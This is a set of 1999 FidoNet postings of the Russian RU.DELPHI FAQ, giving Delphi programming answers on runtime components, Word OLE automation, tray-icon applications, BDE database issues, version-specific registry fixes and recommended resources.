в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; {.....} === Cut Конец примера === Q: Как сделать так, чтобы запущенная программа не была видна на панели задач? Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess. Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 246 of 341 - 226 + 263 From : Alexey_Mahotkin 2:5020/433 29 Aug 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [6/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 935886008 10935 127.0.0.1 (29 Aug 1999 00:20:08 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 29 Aug 1999 00:20:08 GMT begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. _________________________________________________________________ Вопросы, связанные с программированием баз данных Q: После работы программы не сохраняются изменения в базе Paradox. Что делать? A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода: Для Delphi 3: Table.FlushBuffers при открытой таблице. Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close; Q: Как мне упаковать Paradox или DBF таблицу? A: Воспользоваться функцией PackTable из rxLib. Для перегенерации индексов: Table1.Exclusive := True; Table1.Open; Check(dbiRegenIndexes(Table1.Handle); Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset? A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets". Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных? A: Смотри в F.A.Q. по Borland Interbase от демо-центра. Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать? A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr. Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что делать? A: Прочитать X:\DELPHI\DOC\deploy.txt. Q: Как правильно соединяться с базой данных под Personal Oracle? A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение. Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все? A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения. _________________________________________________________________ Последние изменения: Срд Авг 25 00:17:22 MSD 1999 Сгенерировано [59]TEItools References 1. mailto:alexm(at)hsys.msk.ru" 2. http://alexm.here.ru/ 3. http://delphi.da.ru/ 4. http://www.chat.ru/~ivanuts 5. http://www.demo.ru/homerus/delphi/faq/faqsroot.htm 6. http://www.inprise.com/ 7. http://www.dataweb.net/~r.p.sterkenburg 8. http://msdn.microsoft.com/ 9. http://www.sysinternals.com/ 10. http://www.iarchitect.com/ 11. http://www.vireo.com/ 12. http://www.entechtaiwan.com/tools.htm 13. http://www.bluewatersystems.com/ 14. ftp://195.161.18.8/RxLib/ 15. http://www.altavista.com/ 16. http://ftpsearch.lycos.com/ 17. http://www.dejanews.com/ 18. ftp://bbs.ogo.ru/ 19. http://rx.demo.ru/ 20. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#10_4 21. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#47_4 22. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#59_4 23. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#61_5 24. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#75_5 25. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#83_4 26. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#86_4 27. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#178_4 28. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#296_4 29. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#362_4 30. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#546_4 31. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#672_4 32. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#718_4 33. http://members.xoom.com/PolarisSoft/ 34. http://www.sawatzki.de/ 35. http://www.itecuk.com/delmag/thunk95.htm 36. http://delphi.da.ru/ 37. http://www.imagelib.com/ 38. http://einstein.ae.eng.ua.edu/nishita/index.htm 39. http://www.exceedsoft.com/ 40. http://www.geocities.com/SiliconValley/1142/ 41. http://www.signsoft.com/opengl 42. http://www.opengl.org/ 43. http://reality.sgi.com/mjk 44. http://www.scitechsoft.com/ 45. http://www.chami.com/tips/delphi/103096D.html 46. http://www.pbear.com/ 47. http://www.tsinet.ru/~vg 48. http://www.cyclic.com/ 49. http://alexm.here.ru/ 50. http://www.dic.ru/users/rusov/ 51. http://www.numega.com/ 52. http://www.listsoft.ru/programs/pr1520.htm 53. http://www.blinkinc.com/ 54. http://kolos.uni.lodz.pl/warezak 55. ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/neolitee.zip 56. http://www.icl.ndirect.co.uk/petite/ 57. http://www.iconbazaar.com/ 58. http://www.rtfm.be/fpiette 59. http://xtalk.price.ru/SGML/TEItools/ -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 247 of 341 - 228 + 258 From : Alexey_Mahotkin 2:5020/433 29 Aug 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [1/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 935886003 10920 127.0.0.1 (29 Aug 1999 00:20:03 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 29 Aug 1999 00:20:03 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.17 1999/06/11 20:53:48 alexm Exp alexm $ (faint directions) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение вашей совершенно новой и безумно свежей идеи о том, что эху пора разделить на две/три/больше частей, потому что читать ее нет никаких сил. Вы даже не в первой сотне придумавших и успешно высказавших сие. От себя могу посоветовать пользоваться хорошими программами для чтения эхо-конференций. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. _________________________________________________________________ Сопутствующие проекты Существует также некоторое количество подобных проектов, освещающих те или иные стороны вопроса. Документы на русском языке Delphi Tips&Tricks, автор -- Акжан Абдулин, 2:5040/55. Это большая коллекция кусков кода и обстоятельных рассказов о том или ином решении. [3]http://delphi.da.ru F.A.Q. по фичам Delphi, автор -- Михаил Чернышев, 2:4615/26. Это описание различных библиотек и компонентов третьих фирм, не входящих в стандартную поставку Delphi. [4]http://www.chat.ru/~ivanuts Delphi F.A.Q., составленный в Демо-Центре, он же Epsylon Technologies ([5]http://www.demo.ru/homerus/delphi/faq/faqsroot.htm). Большой набор вопросов и великолепные ответы. Кажется, первый F. A. Q. по Delphi на русском языке. Многие из этих FAQ можно найти также на FAQ-сервере по имени AkFAQ, по адресу 2:5040/55.999. Документы на английском языке Delphi F.A.Q., находящийся на сайте производителя [6]http://www.inprise.com. Это официальный F.A.Q. Delphi Bug List, лежащий по адресу [7]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Alexey Solodovnikov (2:5030/257.15), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Maznichenko (2:5061/26.45), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24), vsbelashov(at)obs.omsk.ru. Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathName. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [8]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [9]http://www.sysinternals.com. Hа [10]http://www.iarchitect.com находится большой ресурс, посвященный -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 248 of 341 - 229 + 259 From : Alexey_Mahotkin 2:5020/433 29 Aug 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 935886004 10923 127.0.0.1 (29 Aug 1999 00:20:04 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 29 Aug 1999 00:20:04 GMT вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. [11]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [12]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [13]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [14]ftp://195.161.18.8/RxLib/. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [15]http://www.altavista.com, [16]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп [17]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [18]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [19]http://rx.demo.ru. Вы можете также подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Содержание [20]Преамбула [21]Доступность этого F.A.Q. [22]Сопутствующие проекты [23]Документы на русском языке [24]Документы на английском языке [25]Контрибуторы [26]Источники информации [27]Вопросы, связанные с конкретными версиями Delphi [28]Вопросы, однозначно сводящиеся к использованию rxLib [29]Вопросы, возникающие от неумения читать книжки [30]Библиотеки, инструменты и т. п. [31]Относительно большие ответы/примеры кода [32]Вопросы, связанные с программированием баз данных Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена вторым, а затем третьим Service Pack'ами, которые можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Впрочем, это исправлено в QEMM 9.0. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 249 of 341 - 230 + 260 From : Alexey_Mahotkin 2:5020/433 29 Aug 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 935886005 10926 127.0.0.1 (29 Aug 1999 00:20:05 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 29 Aug 1999 00:20:05 GMT if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Fixedsys" Если такой ключ не существует, его следует создать. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer -- у него это получается очень хорошо. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? A: Ответ зависит от версии Delphi. Ежели кому интересно то на [33]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. Q: Как во время компиляции модуля определить, под какой версией Delphi она происходит? A: Используйте {$IFDEF VERXXX} . . . {$ELSE} . . . {$ENDIF} Пользуйтесь вот такой таблицей: * VER80 -- Delphi 1 * VER90 -- Delphi 2 * VER93 -- C++Builder 1 * VER100 -- Delphi 3 * VER110 -- C++Builder 3 * VER120 -- Delphi 4 (Sergey Anvarov, 2:5012/27.204) _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора каталога? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, 